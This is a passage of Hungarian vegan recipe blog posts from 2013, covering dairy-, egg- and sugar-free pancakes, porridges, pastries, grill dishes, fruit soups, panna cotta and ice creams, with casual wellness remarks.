díszítéshez. 3. Öntsük rá az alapra a kókuszos krémet. 4. Tegyük be a tortát a fagyasztóba 2 órára, hogy jól megszilárduljon! 5. Öntsük a tetejére a csokimázat, és tegyük be a hűtőbe, vagy a fagyasztóba, amíg megszilárdul! 6. Tálalás előtt tedd rá a gyümölcsöket, öntsd le az eperöntettel és díszítsd mentalevelekkel.
Tönköly - Zablisztes " túrókrémmel" töltött Palacsinta
2013. július 20. Fittanyuka Blog
Ha hétvége akkor nálunk palacsinta! Mind közül nekem ez a kedvencem: a " túrókrémmel" töltött, amely tej,-laktóz,-tojás,-cukormentes és könnyen emészthető. A könnyű emészthetőség titka nemcsak az értékes, rostdús lisztek miatt van, hanem a kisütéséhez nem használok hidrogenizált zsírokat, hanem a kókusz olajat amely színtelen, szagtalan, nehezebben, magasabb hőfokon ég csak és ennek köszönhetően a lakásban nem érződik a tipikus "palacsintát sütünk" szag. Sokan kértétek a receptet a Fittanyuka / facebook oldalon, a recept pofon egyszerű: Palacsinta tészta kb: 15-20 db Hozzávalók: 300 g világos tönköly liszt 200 g zabpehely liszt 1-2 evőkanál folyékony stevia - Cukvia, vagy nyírfacukor késhegynyi szódabikarbóna 1/2 citrom reszelt héja 1 l víz kevés kókusz olaj a kisütéséhez A hozzávalókból palacsinta tésztát kavarunk, ha szükséges adhatunk hozzá kevés vizet és a hagyományos palacsintához hasonlóan egyenként kisütjük őket. Túrókrém Hozzávalók: 300 g natúr tofu 2- 3 evőkanál folyékony stevia - Cukvia vagy nyírfacukor 200 ml kókusz tejszín 1 kk Bourbon vanília 1 citrom reszelt héja 1/2 citrom leve A tofut összemorzsoljuk és botmixer segítségével a többi hozzávalóval krémesre turmixoljuk. Aki valamilyen oknál kifolyólag nem fogyaszt tofut, elkészítheti kölesből is a krémet: 100 - 150 g kölest megfőz háromszoros mennyiségű vízben, miután kihűlt a fenti hozzávalókkal összedolgozza a kézi botmixer segítségével. A reformélelmiszer alapanyagokat a Jó egészséget! webáruházban tudja beszerezni. Fittanyuka
Mákos-barackos csiga
2013. július 19. Mindennapi ételeink
Hipp-hopp reggeli, egy nagy adag gyümölcssalátával vagy egy finom bögre hideg növényi tejjel, jegeskávéval, esetleg gyümölcsturmix-szal. Hozzávalók: Tante Fanny élesztős leveles tészta (vagy otthon készített tészta, amelynek itt van az alapreceptje) 30 dkg mák kb. 2 dl Alpro natúr (kálciummal, B 12-vel dúsított) szójatej 2 szem közepes méretű őszibarack 8-10 dkg nyírfacukor 2 tk. vaníliaesszencia / vaníliás cukor 2 ek. kókuszolaj (elhagyható) 1 kisebb citrom héja mazsola - tetszés szerint, opcionális Elkészítés: A mákot megdaráljuk, majd összekeverjük a tejjel (egy kevés tejet rakjunk félre, ill. látjuk, hogy mennyi tejet vesz fel-ezt sajnos nem mértem -, ne legyen se túl folyós, se túl kemény a masszánk) és citromhéjjal, nyírfacukorral, vaníliával ízesítjük. Pár perc alatt összefőzzük, a meghámozott és péppé tört barackokat ekkor adjuk hozzá. A kókuszolajat is ekkor adjuk hozzá, ez kicsit lágyabbá teszi, ill. a tésztába beleolvasztja majd a tölteléket. De enélkül is nagyon finom. Ez igazán pikáns zamatúvá teszi majd. :) Kihűtjük a tölteléket. A sütőt 200 fokra előmelegítjük, a tésztát előszedjük, kitekerjük, majd a kihűlt mákos tölteléket rákenjük. Majd ezt a rudat kb. 1,5 ujjnyi vastag karikákra felvágjuk, melyeket sütőpapírral bélelt tepsibe teszünk, és elkezdjük sütni. 10 perc múlva 150 fokra kapcsoljuk, és rá 5 percre a csigákat meglocsoljuk a maradék tejjel. Visszatesszük és még kb. 10 perc alatt összesütjük.
Hideg, nyári gyümölcsleves
Ebben a nagy melegben jól esik egy kis könnyű hűsítő. Szeretek kísérletezni, így születtek meg ezek a hétvégi nyers tortám ihlette gyümölcslevesek. A legjobb, hogy gyorsan elkészíthetőek, akár cukor hozzáadása nélkül, és nagyon finomak. Hozzávalók az alma leveshez: 5-6 szem kisebb nyári alma 6 ek. mazsola 1 kávédarálónyi mandula 2 dl rizstej 2 dl tisztított víz fél citrom leve 1 ek. rizsszirup fahéj, szegfűszeg, menta levél, vanília rúd 1. A mazsolát beáztatjuk kb. 1 órára. Ezalatt előkészíthetjük a hozzávalókat. 2. Megtisztítjuk az almákat (én csak a magházat szoktam kivágni, mert az értékes vitaminok a héja alatt vannak), ledaráljuk a mandulát. 3. A megduzzadt mazsolákat és az almákat a többi hozzávalóval együtt jó alaposan összeturmixoljuk. Ezután ízesíthetjük fahéjjal és egy pici szegfűszeggel. 4. Menta levelekkel és egy vanília rúddal min. 1 órára hűtőbe tesszük, hogy kellően lehűljön, és jól összeérjenek az ízek. sárgadinnye leveshez: 1 egész sárgadinnye 5-6 ek. kókuszreszelék 1.5 dl tisztított víz 1 citrom leve 1. A sárgadinnye húsát kikanalazzuk, és a többi hozzávalóval együtt alaposan összeturmixoljuk. 2. Pár órára hűtőbe tesszük, majd fogyaszthatjuk. Ani Tisztán, tudatosan!
Grillezés - Nyár Egészségesen!
2013. július 16. Fittanyuka Blog
A grillezés, sütögetés baráti vagy családi környezetben a nyár elengedhetetlen tevékenysége. Ilyenkor előtérbe kerülnek általában a különféle húsok, kolbászok, sült szalonna. Mi van azokkal akik nem szeretnének ilyen ételekkel élni, számukra sem kell lemondani a grillezés és a finom falatok öröméről?! Ebben a nyári összeállításban nekik, nektek szeretnék segíteni, ötleteket adni. Az én tapasztalatom, hogy ha ilyen ételeket készítettem a társaságnak a hagyományos grill ételek mellett, rendkívül gyorsan elfogytak a mindenevők körében is. Ilyenkor a kedvenceim, mint mindig a nyári, friss zöldségek, grillezve, saslikon, növényi krémek, amelyeket salátákkal vagy tortilla chipszel is mártogathatunk, vagy éppen a grillezett zöldségek mellé kanalazzuk. Csupa - csupa növényi összetevőkből hatalmas grill-lakomát csaphatunk:)! Fűszeres olajban pácolt Grillezett zöldségek: Hozzávalók: Baby cukkini, champion gomba, paradicsom, hagyma, padlizsán, citrom karikák, paradicsom, paprika és folytathatnám a sort... Fűszeres olaj elkészítése: Zöldség mennyiségtől függően : kb. 2 dl hidegen sajtolt olíva olaj 1 - 2 kk himalaya só 2-3 cikk préselt fokhagyma 1/2 kk őrölt fekete bors 1/2 kk szárított vagy friss kakukkfű késhegyni füstölt, csípős piros paprika 1/2 kk szárított vagy friss majoránna 1/2 citrom leve A hozzávalókat összekeverjük. A zöldségeket megmossuk, a baby cukkinit, paprikát hosszában a padlizsánt, paradicsomot, citromot karikára felszeleteljük és egy edényben sorba lefektetjük őket majd ráöntjük a fűszeres olajat, megforgatjuk benne a zöldségeket és egy órára a hűtőbe tesszük. Innen már a grill rácsra vagy lapra kerülhetnek közvetlenűl. A saslikra szánt felkockázott hagymát, padlizsánt, cukkinit, gombát is pácolhatjuk előtte ebben az olajban, sokkal ízletesebb lesz a sütés után. A salikra tehetünk még felkockázott füstölt tofut, tönköly fehérjét, amelyeket szintén pácolhatunk. Mexikói babsaláta: A babfélék is nagyon jó fehérje források, jól illenek a többi zöldséghez. Az alábbi saláta finom, lehűtve fogyaszthatjuk a grill zöldségek vagy a saslik mellé is. Amikor salátát készítek vörös vagy tarka babból nem szokta bajlódni a főzéssel. Konzerv babot vásárolok, általában nem tartalmaznak a són, vizen és citromsavon kívül más rossz adalékot. Előfordul, hogy tesznek hozzá cukrot, azt visszateszem a polcra és keresek olyat amiben nincsen cukor. Hozzávalók: 240 g tarka, vörös vagy fehér bab 1-2 db piros kaliforniai paprika 1 fej lilahagyma 3-4 db paradicsom 1 cikk fokhagyma Dresszing: 3 evőkanál hidegen sajtolt szezám olaj, 1 citrom leve, 1 kk himalaya só, kevés őrölt zöld bors. A paprikát, hagymát, paradicsomot felkockázzuk, összekeverjük a babbal, a préselt fokhagymát pedig hozzáadjuk a dresszinghez, amelyet egy kis befőttes üvegben alaposan összerázunk. A salátára öntjük és jól behűtjük. Tálalhatjuk mángold leveleken, fűszeres olajban pácolt, pirított tofu kockák társaságában, kisebb kupacokban... A növényi krémek variációira már számtalan receptet osztottam meg veletek, az általam legkedveltebbek a következők: csicseriborsó krém - humusz, tahini - szezám krém, avokádó krém.. Még több krém recept itt! Nem utolsó sorban egy könnyű, hűsítő, alakbarát finomság: Gyömbéres - Citromos Görögdinnye sorbet: A dolgunk nagyon egyszerű: Fogunk egy finom, édes, friss görögdinnyét amelyet amennyire csak tudunk kimagozunk és turmixgépbe kanalazzuk a belsejét, hozzáadunk 1 citrom levét, egy kisebb darab friss gyömbért belereszelünk, 1/2 kk őrölt bourbon vaníliát teszünk hozzá és alaposan összeturmixoljuk. Szerintem ha elég édes a dinnye nem szükséges édesítés, ha mégis igényli akkor kevés steviával édesíthetjük. Üres joghurtos pohárkákba, vagy szilikon fagyi formákba öntjük, fa pálcikát állítunk a közepükbe és lefagyasztjuk. Fagyasztás után forró vízbe mártjuk őket egyenként és így könnyen kihúzhatjuk a pohárkákból. És egy ráadás: Kiwi - avokádó hűsítő, nyári shake: Hozzávalók: 4 db kiwi 1 db puha avokádó 200 ml kókusztejszín 1/2 narancs leve 2 evőkanál folyékony stevia 1-2 maréknyi jégkocka kevés friss, reszelt gyömbér erjedésgátlónak A lehéjazott kiwit és avokádót a többi hozzávalóval alaposan összeturmixoljuk. Fittanyuka
Kókuszolajos-olívabogyós-fokhagymás kifli
2013. július 4. Mindennapi ételeink
Nagyon-nagyon finom kifli, érdemes a meleg ellenére bekapcsolni a sütőt és otthon kiflit sütni. :-) Hozzávalók- kb. 8 db kiflihez : 20 dkg finomliszt 25 dkg teljes őrlésű liszt 2,5 dl víz 2 tk. méz 2,5 dkg élesztő (vagy félcsomag porélesztő) 0,75 dl olvasztott kókuszolaj 3-4 tk. só 10 dkg fekete olívabogyó 4-5 gerezd fokhagyma -- 1 dl forró víz 1 tk. szódabikarbóna kb. 8 dkg szezámmag -- 1 fej fokhagyma kb. 1 dl 100% extra szűz olívaolaj Elkészítés: A liszteket összekeverjük, hozzáadjuk a sót, az olvasztott kókuszolajat. A vizet meglangyosítjuk, beletesszük a mézet, és letakarva ebben felfuttatjuk az élesztőt. Beleöntjük a lisztbe, és hozzáadjuk az apró darabokra vágott olívabogyókat, illetve a 4-5 gerezd szétnyomott fokhagymát. 1 órán át kelesztjük, majd lisztezett deszkán kör alakúra nyújtjuk, és 8 egyenlő cikket vágva feltekerjük. Majd a forró vízben szódabikarbónát keverünk el, és ezzel kenjük meg a kifliket, melyeket ezt követően tálcára szórt szezámmagban is meghempergetünk. Még a (sütőpapírral bélelt) tepsiben is pihentetjük, majd előmelegített sütőben 160 fokon kb. 20 percig sütjük, eközben elkészítjük a fokhagymás olajat: az olajat egy magas falú edénybe öntjük, hozzáadjuk a megpucolt fokhagymákat, és összebotmixerezzük. 20-25 perc elteltével kivesszük a kifliket, ezzel az olajos-fokhagymás kencével lekenjük, és visszatesszük sülni, még kb. 10 percet. Az illata és az íze is zseniális. :) TIPP: Amennyiben kisebbekre formázzuk, rágcsálnivalónak is finom. / Az olívabogyót kihagyhatjuk.
Kókuszpudingos-sárgadinnyés zabkása
2013. július 2. Mindennapi ételeink
Igazi nyári reggeli :) Ismét csupán egy tipp, hiszen a zabkásában semmi kuriózum nincsen (dupla mennyiségű növényi tejben megfőzzük a zabot), talán a kókuszpuding kicsit furmányosabb. A sárgadinnyét már a békési kertből kaptuk, nagyon zamatos! Hozzávalók - a zabkásához: 30 dkg zabpehely 1 l Alpro vaníliás szójatej vagy egyéb növényi tej 10 dkg nyírfacukor 1 csipet só 1 bio lime héja 5-10 dkg mazsola vagy egyéb aszalványok Hozzávalók-a kókuszpudinghoz: 4 dl kókusztej 2 ek. étkezési keményítő 8 dkg kókuszreszelék 3 ek. nyírfacukor -- gyümölcsök Elkészítés: A növényi tejet egy lábasban felfőzzük, majd beletesszük a zabpelyhet és a nyírfacukrot, a sót, és a lime-vagy citromhéjat. Mindezt puhulásig összefőzzük. A pudinghoz a kókusztejbe egy habverő segítségével belekeverjük a keményítőt, a kókuszreszeléket, és egy edénybe öntve felfőzzük. A nyírfacukrot a végén adjuk hozzá. Ezt belekeverhetjük a kásába is, de tálalhatjuk rétegesen is. TIPP: Szórjuk meg sok-sok gyümölccsel.
Panna Cotta Eperkrémmel
2013. június 23. Fittanyuka Blog
Ezzel az toszkán eredetű desszerttel térek vissza rövid szabadságom után, igazán nyárias desszert, finom, könnyű és jól behűtve tálalható! Természetesen ez a verzió teljesen megreformált: tej,-tojás és cukormentes, a panna cotta pedig amúgy is gluténmentes. Könnyen elkészíthető, gyors recept, a hűtési időt kell kivárni csupán. A panna cotta jelentése: Főzött tejszín, főtt tejszín... Hozzávalók: 6 kis csészével 400 ml vaníliás rizs tej 400 ml kókusztejszín 2 teáakanál agar-agar ( vagy más növényi zselésítő) 1 kk vanília őrlemény csipet himalaya só 2 evőkanál méz 1-2 evőkanál nyírfacukor ( az édesítés ízlés szerint, a méz kihagyható) Eperkrém: ( Elég tálalás előtt elkészíteni) 350 g friss eper 1 evőkanál nyírfacukor vagy méz 1/2 citrom leve és reszelt héja 200 ml kókusz tejszín 1 kk agar-agar vagy útifűmaghéj őrlemény A megmosott, tisztított epret a többi hozzávalóval krémesre turmixoljuk. Panna Cotta elkészítése: A kókusztejszínben elkeverjük a vaníliát, a mézet, nyírfacukrot és felmelegítjük, hogy a nyírfacukor feloldodjón. A rizstejben pedig hidegen elkeverjük az agar-agart és állandó keverés mellett, lassú tűzön felforraljuk. Amikor elérte a forráspontot lehúzzuk a lángról és állandó keverés mellett a kókusztejszínes egyveleghez öntjük, lassú tűzön, állandó keverés mellett újra felforraljuk. Kis kávés vagy pudingos csészéket átöblítünk vízzel. Tipp: Frissen tartó fóliával is kibélelhetjük a pohárkákat, hogy biztosan kiboruljanak. Állandó keverés mellett kicsit hűtjük a masszát, majd még melegen ( nálam forró volt, de nem tűzforró), beleöntjük a pohárkákba és négy óra hosszára a hűtőszekrénybe tesszük. Desszertes tányérra borítjuk a kihűlt panna cottakat és az eperkrémmel tálaljuk. Fittanyuka
Gyömbért a fagyiba!
Nagyon szeretem a gyömbért. Ez a kesernyés, csípős dél-kelet ázsiai növény a legváltozatosabb ételek és italok alapfűszere. Ne fogjuk vissza magunkat, ha gyömbérrel készült vegán ételt tesznek elénk. Többek közt kiváló immunerősítő, vérnyomás, koleszterin, valamint gyulladáscsökkentő és vérkeringést serkentő hatása van. Ez utóbbi miatt remek agyfényesítő. Vizsgaidőszakban felejtsétek el a gyógyszertárban kapható drága "csodabogyókat", igyatok meg inkább egy-két pohár friss gyömbérből készült teát. Ugyanez a megfázás egyik legjobb ellenszere is. De mit tud a gyömbér, ha fagyiba kerül?
Hozzávalók:
3,5 csésze kókusztej (vagy bármilyen növényi tej)
1/4 csésze reszelt gyömbér
1/2 csésze cukor ízlés szerint (lehet nádcukor, barna cukor, vagy más természetes édesítő)
2 evőkanál étkezési keményítő (pl.: burgonya, kukorica, rizs keményítő)
1 teáskanál vanília kivonat
3/4 csésze, kis kockákra vágott kandírozott gyömbér
Így készítsd el: Keverj össze 1/4 csészényi növényi tejet a 2 evőkanálnyi keményítővel és tedd félre a felhasználásig. Forrald össze a keményítőmentes kókusztejet a reszelt gyömbérrel és a cukorral, majd vedd le a tűzről és sűrű szövésű szűrőn szűrd le. Ezután ismét tedd a tűzre, de csak annyira, hogy a forrás közben hozzáöntött keményítős növényi tej egy kicsit besűrítse. Ne felejtsd el hozzá adni a vanília kivonatot. A kihűlt fagyi alapot fagylalt géppel könnyedén krémesre keverheted. Ha nincs efféle masinád, akkor egy jól záródó doboz kell, amibe beleöntöd a fagyit, majd félóránként kiveszed a fagyasztóból és átkevered, amíg meg nem fagy. Mielőtt teljesen jéggé dermedne, keverd bele a kandírozott gyömbért. Tálaláskor, néhány szem kandírozott gyömbérrel lehet tovább gazdagítani.
Epres-sárgadinnyés zabkása
Rajongásom a zabpehely, jobban mondva a zabkása iránt nem hagy alább, már egy éve biztos tart. Nem múlik el hetem anélkül, hogy az egyik reggelim ne zabkása lenne. Legutóbb eperrel és sárgadinnyével, valamint egy kevés kókuszreszelékkel tettem különlegessé. Van itthon más "kása-alapanyag" is, mint árpa, kukoricadara, búzadara (tönköly is), rizs, de egyszerűen nekem a zabpehely a "best of". Azt olvastam, fogyasztása észrevehetően csökkenti a koleszterinszintet (persze, ha napközben nem szalonnát és kolbászt ebédelünk és vacsorázunk). Nem tudom. Ugyan nem volt magas egy éve sem a koleszterinszintem, de nem is volt túl alacsony. Nemsokára megyek éves teljes vérképre, majd kiderül.... Persze nem ezért vagyok oda a zabkásáért. Valahogy az enyhén megpirított zabpehelynek olyan kellemes illata van, aztán pedig nekem nem is kell bele semmi édesítő, csak pár szem gyümölcs, egy kevés kókuszreszelék, és teljes értékű reggelit vehetek magamhoz. A zabpehely oldható rosttartalma képes az emésztést lassítani, így stabilizálja a vércukorszintet. Főzésével felszabadulnak azok a rostok, amelyek által a glukóz lassan kerül a véráramba. Ezért ajánlják cukorbetegeknek "édes reggeli" fogyasztásaként. Amúgy pedig napjainkban már sok sportoló is fogyasztja, például testépítők körében edzés előtt 1-1,5 órával szokták fogyasztani - épp az előbbiekben említett egyenletesebb felszívódási folyamat miatt is. S ahogy említettem, a koleszterinszintet is jó irányba befolyásolja, ugyanis a vérben a rossz LDL koleszterinszint csökkenthető, ha rendszeresen fogyasztunk főtt zabpelyhet. Ennyi jó dolog után most akkor következzen egy újabb recept a zabkásával:
Hozzávalók:
1 adag zabpehely (pl. 2 marék)
víz
1 marék eper
1/2 sárgadinnye
Igény esetén: növényi tej
kókuszreszelék
esetleg magok
Elkészítés:
Ha apró szemű zabpelyhünk van, akkor a lábosban, amiben főzni fogjuk, kicsit megpirítjuk. Épp, amíg illata lesz a pirítástól. Majd felöntjük vízzel. Figyelve és olykor megkeverve addig főzzük, míg a zabpehely meg puhul.
Ha nagy szemű zabpehellyel dolgozunk, akkor ugyanígy megpiríthatjuk, de egy éjszakára akár be is áztathatjuk hideg vízbe. Másnap pedig felfőzzük. Az ilyen zabpelyhek több főzési időt igényelnek.
Mivel a főzése nem tart sokáig, így főzés előtt is hozzáadhatjuk a felszeletelt gyümölcsöt, ami most eper és sárgadinnye, mivel úgysem fő olyan sokáig, hogy nagyon károsodna hő hatására. Ha magvakat is teszek bele, akkor rövid ideig a zabpehellyel együtt pirítom meg az edényben, amiben utána megfőzöm. A pirítás csak addig tart, míg finom illata lesz a zabpehelynek.
Víz helyett és vízzel együtt is használhatunk valamilyen növényi tejet . Külön ízvilágot kölcsönöz reggelinknek. Azonban ha lehet, ne használjunk növényi tejport, vagy ipari úton készített növényi tejet, mivel ezek egyéb adalékanyagokat is tartalmaznak, amelyekkel már nem lesz meg a bevezetőben említett jótékony hatása - mint a koleszterin-csökkentés és lassú "cukorfeldolgozás".
Mini bundás banán
2013. június 14. Mindennapi ételeink
Tegnap a közeli zöldségesnél 200 Ft-ért kaptam banánt, gyorsan vettem is, kb. 2 kilót. Viszont sajnos kicsit éretlen, nem igazán zamatos. Így arra gondoltam, hogy rétestésztába bújtatom, és máris készen lesz az egészséges, gyors reggelink. Stahl Judit nutellával ajánlja (csak nekünk most nem volt itthon házi nutellánk), ennek híján karoböntettel locsoltuk, és durvára vágott dióval szórtuk meg. Hm...nem volt rossz. :) Sőt! Hozzávalók - 16 db-hoz: 2 db banán 2 db 3 rétegű Tante Fanny teljes őrlésű réteslap 2 ek. 100% extra szűz olívaolaj /napraforgó olaj/kókuszolaj -- 4 ek. víz vagy valamilyen Alpro növényi tej 4 ek. karobpor 2 ek. xilit (nyírfacukor) durvára vágott dió Elkészítés: Nagyon egyszerű és gyors az elkészítése: a banánokat vágjuk először széltében félbe, majd hosszában is kétszer félbe. Így a két banánból 16 csíkot kapunk. Terítsük ki az első réteslapot, kenjük meg olajjal, majd helyezzük rá a másodikat, ismét kenjük meg olajjal, majd a harmadik lapot is rakjuk az előzőekre. Vágjuk 8 egyenlő téglalap alakúra a rétest. Minden kocka hozzánk közelebb eső felére tegyünk 1-1 rúd banánt, majd a először a tészta merőleges végét hajtsuk fel, a banán két végéig, majd tekerjük fel a banánt. Sütőpapíros tepsibe tegyük (a tészta hajtása alul legyen) és 200 fokos előmelegített sütőben 10-12 perc alatt készre sütjük. Xilitből készült porcukorral, ill. karoböntettel, és dióval tálaljuk. ha nutellával gazdagítjuk, akkor 1-1 ek. nutellát tegyünk a banánok alá.
Zöldspárga Pite
2013. június 10. Fittanyuka Blog
Még tart a spárga szezon, ezt a roppant egészséges zöldséget sokféleképpen felhasználhatjuk, például így: pitének sütve, amelyet akár fő ételként is tálalhatunk egy adag friss, vegyes salátával! A zöldspárga kevésbé fás, mint a fehér, sokkal húsosabb, ízletesebb. A spárga egyébként nagyon jól méregteleníti a veséket és vízhajtó hatása van. A pitét a következő lépésekben készítjük el: roppanósra pároljuk a fűszerekkel a spárgát, elkészítjük a tésztáját, amelyet elősütünk, készítünk egy besamel mártást és ezzel leöntve a spárgát együtt megsütjük. Ilyen egyszerű és viszonylag gyorsan elkészül! Hozzávalók: 1. Töltelék: 1 csomó zöldspárga 2 cikk fokhagyma 1-2 szál új zöldhagyma 2-3 evőkanál kókusz olaj késhegynyi örőlt zöld bors késhegynyi örőlt zöld kardamon 1/2 kk himalaya só A zöldspárga végeit letörjük, ahol eltörik a vége az a fás rész, nincs rá szükségünk. Feldaraboljuk a spárgát, a hagymát és a kókusz olajon roppanósra dinszteljük, sózzuk, fűszerezzük, utólag belepréseljük a fokhagymát. 2. Tészta: 250 g világos tönköly liszt 125 g bio margarin - szobahőmérsékletű 100 ml víz 1 kk himalaya só 1/2 tasak foszfátmentes sütőpor A hozzávalókból tésztát gyúrunk és lisztezett deszkán kinyújtjuk, kibélelünk vele egy pite sütő formát, megszurkáljuk és előmelegített sütőben 180 C fokon elősütjük 5 percig. 3. Besamel mártás: 300 ml növényi tej 2 evőkanál világos tönköly liszt 1 evőkanál kókusz olaj csipet himalaya só késhegynyi örőlt szerecsendió A nem túl forró kókusz olajon a lisztet elkeverjük és állandó keverés mellett hozzáöntjük a hideg növényi tejet, sózzuk és állandó keverés mellett besűrítjük. Összeállítjuk a pitét: Az elősütött tésztára rákanalazzuk a tölteléket, elegyengetjük, ráöntjük a besamel mártást, tetejét díszíthetjük a maradék tésztából kiszúrt formákkal és előmelegített sütőben 180 C fokon 25 percig sütjük. Tálaláskor megszórjuk friss petrezselyem zölddel. Fittanyuka
Alu kari
Egyszerű sabji, hiszen semmi más zöldséget nem tartalmaz, csak krumplit. A fűszerezése kicsit bonyolultabb, viszont nagyszerű bizonyítéka annak, hogy egyféle zöldségből is gazdag ízvilággal rendelkező étel készíthető. Hozzávalók: 1 kg krumpli 2 ek szezámmag pirítva 2 ek reszelt kókusz 1 ek reszelt... tovább>>
Pink vargabéles (vegán)
2013. június 4. Mindennapi ételeink
Gyors, egyszerű, különleges, finom. Ennyit elöljáróban az alábbi sütiről. :-) Hozzávalók: 125 g durum cérnametélt 4 dl Alpro erdei gyümölcsös joghurt 15 dkg natúr tofu 3 ek. búzadara 10 dkg xilit (nyírfacukor) - ízlés szerint 1 ek. kókuszolaj 1/2 citrom héja 2 tk. vanília esszencia mazsola - tetszés és ízlés szerint -- Tante Fanny teljes őrlésű rétestészta Elkészítés: A tésztát kifőzzük. Eközben egy tálba beletöltjük az Alpro szójajoghurtokat (lehet más ízesítésű is, mi most ilyen ízkombinációra vágytunk, de rendkívül finom lehet pl. a trópusi gyümölcsjoghurttal is), majd belemorzsoljuk a tofut, ízesítjük citromhéjjal, vaníliával. Ha a tofut nem sikerül jól eldolgoznunk, botmixerrel is megdolgozhatjuk. Miután a tészta kihűlt, összekeverjük az öntettel, belekeverjük a mazsolát, búzadarát. Egy réteslapot a kókuszolajjal kikent tepsibe helyezünk, erre ráfolyatjuk a szószt, majd befedjük a második réteslappal, amelyet a maradék felolvasztott kókuszolajjal megkenünk. Megszórjuk dióval és összesütjük (180 fokon, kb. 20 perc alatt). Miután kihűlt, tálaljuk - friss gyümölcsökkel a tetején :)
Túrós grissini
Limara receptjének tojásmentes változata. Önmagában is tökéletes, de tálalhatjuk salátákhoz vagy levesek (paradicsomleves, krémlevesek) mellé. Hozzávaló: 25 dkg liszt 20 dkg túró 2 kk só 5 dkg kókuszzsír 1,5 dkg élesztő 2-3 ek tejföl 2 ek felaprított tökmag vagy szezámmag a szóráshoz A lisztbe... tovább>>
Meggyes - Márvány Muffin
2013. május 26. Fittanyuka Blog
Újabb szülinap, Viktória már hat éves:)! Mivel májusi gyerek ezért szinte mindig a szülinapi zsúron a nagy kedvence az Eper a főszereplő! Eper torta, eper fagyi volt most is repertoárban. Emellett még sütöttem meggyes, márványos muffint, amit majszolgattak és útravalónak is tettem a kis vendégeknek a torta mellett. Gyorsan elkészíthető és tej,-laktóz,-tojás,-cukormentes. Az alábbi kollázs képeken próbáltam szemléltetni a lépéseket. Először egy alap tésztát készítünk: Hozzávalók: 12 db muffin 250 g világos tönköly liszt 6 evőkanál kókusz olaj 100 g nyírfacukor 1 citrom reszelt héja 1 tasak foszfátmentes sütőpor késhegynyi bourbon vanília friss, vagy fagyasztott, magozott meggy 3-4 evőkanál bio kakaó por 400 ml víz vagy növényi tej 100 g étcsokoládé és egy evőkanálnyi bio margarin a bevonáshoz. Először a lisztet, nyírfacukrot, sütőport, vaníliát, citrom héját összekeverjük, majd hozzáadjuk a kókusz olajat, vizet, vagy növényi tejet és robot gép segítségével alaposan összedolgozzuk. A tésztát ketté választjuk és az egyik feléhez, állandó keverés mellett hozzáadjuk a kakaó port. Muffin sütő üregeit kibéleljük muffin sütőpapírral és rétegezve kanalazzuk a tésztát: egy kanál kakaós tészta, közepébe egy meggy szem, rá egy kanál sima tészta, végén egy fogpiszkáló vagy tű segítségével összekavarjuk, márványosítjuk és előmelegített, légkeveréses sütőben 180 C fokon, 25 percig sütjük. Mielőtt kivesszük a sütőből végezzünk szúrópróbát! Miután kihűltek a muffinok, víz gőz felett a magas kakaótartalmú étcsokoládét, a bio margarinnal együtt megolvasztjuk, állandó keverés mellett és a muffinokra csorgatjuk. tetszőlegesen díszítjük. Lépések képekben: Fittanyuka
Áfonya krém - smoothie
2013. május 15. Fittanyuka Blog
Ajánlom az alábbi finomságot reggeli, tízórai gyanánt, vagy néha felválthatjuk a zöld klorofill koktélunkat egy ilyen antioxidánsban, flavonoidokban, klorofillben szintén gazdag smoothiera. Az áfonya szintén egy alacsony cukortartalmú gyümölcs, tehát kevésbé erjed, az édeskés ízt pedig megadhatjuk neki steviával, amit egyáltalán nem cukorként kezel a szervezet! A smoothie krémességét az avokádó adja. Hozzávalók: 2 főre 2 marék fekete áfonya 1 db hámozott, puha avokádó 1 marék friss spenót levél 4 dl mandula tej, vagy más növényi tej 1/2 kk borubon vanília őrlemény 1/2 kk stevia por Ha inkább krémet szeretnénk adjunk hozzá kevesebb mandula tejet és 2 evőkanál kókusz tejszínt. Az összetevőket alaposan összeturmixoljuk. Tipp: nyári hőségben készíthetjük fagyasztott áfonyával, desszertként akár! Fittanyuka
Aszalt paradicsom krém
2013. május 11. Fittanyuka Blog
Ez a szósz, vagy krém nevezhetjük bárhogy isteni finom:). Lehet természetesen tésztával is fogyasztani, de én most nyár, meleg lévén az uborka - cukkini salátámra öntöttem. Elkészítése, mint minden krém receptemnek általában, nem vesz igénybe öt percnél többet. Én most ehhez a recepthez olíva olajban eltett aszalt paradicsomot vásároltam, akinek viszont van aszaló gépe saját maga is tehet el ilyen finomságot. Hozzávalók: 2 főre 150 - 200 g aszalt paradicsom 2 evőkanál olíva olaj ( azt használtam ami az üvegben volt) 100 ml kókusz tejszín pár levél friss bazsalikom 1/2 citrom leve 1/2 kk himalaya só 2 cikk fokhagyma darált mandula a tetejére Az aszalt paradicsomot kissé felaprózzuk és az összetevőkkel kézi bot mixer segítségével összeturmixoljuk. Utólag belepréseljük a fokhagymát és hozzáadjuk a felaprított, friss bazsalikomot. Fittanyuka
Hűsítő Mangókrém
2013. május 7. Fittanyuka Blog
Ahogy melegszik az idő egyre könnyebb és könnyebb és nyersebb ételeket kívánnunk. Nyáron sokkal könnyebb egy lúgosító táplálkozást, vagy akár nyers táplálkozást folytatni. A meleg miatt előtérbe kerülnek azok az ételek amelyek hűtik a szervezetet, ilyen minden nyers zöldség és gyümölcs, saláta, stb. Ha valami nyalánkságra vágyunk nyáron általában előkapom a turmixgépem és összeütök valami finomat, a gyorsaság sem hátrány. Édesítést nem használtam, maradt a gyümölcsök természetes édes íze. Ilyen az alábbi poharas desszert is: Hozzávalók: 1 db lehéjazott mangó 1 db lehéjazott alma 200 ml kókusz tejszín késhegynyi bourbon vanília 1/2 bio citrom reszelt héja 1/2 kk agar-agar, vagy útifű maghéj őrlemény kókusz chips a díszítéshez Az alapanyagokat alaposan összeturmixoljuk és a kókusz chipsszel díszítjük! Fogyasztás előtt le is hűthetjük kicsit. Fittanyuka
Zöld tea fagylalt
Amikor belekanalazol a nyári hőségben a jégkrémedbe, talán fogalmad sincs arról, hogy milyen mesterséges állományjavítók, színezékek, zselésítők, állati eredetű összetevők vannak benne. A minap csak kíváncsiságból megnéztem egy méregdrága jégkrém dobozát, és ott figyelt rajta az egyik kedvencem, a kármin . Tudod, amitől szép piros színe lesz a rúzsodnak meg az eperfagyinak is. Na azt például milliárdnyi nőstény bíbortetű megölésével állítják elő. Igen, tetveket eszel. Jól átvertek és még fizetsz is érte. Ugye, hogy nem ez a gasztronómia csúcsa? Ez a fagyi viszont a kissé fanyar, mégis éterikusan könnyed, természetes ízével, a zöld tea és az avokádó valamennyi jó tulajdonságát megőrizve frissít fel.
Hozzávalók:
- 500ml szójatej (ízesítetlen)/ vagy ugyanennyi ízesítetlen kókusztej
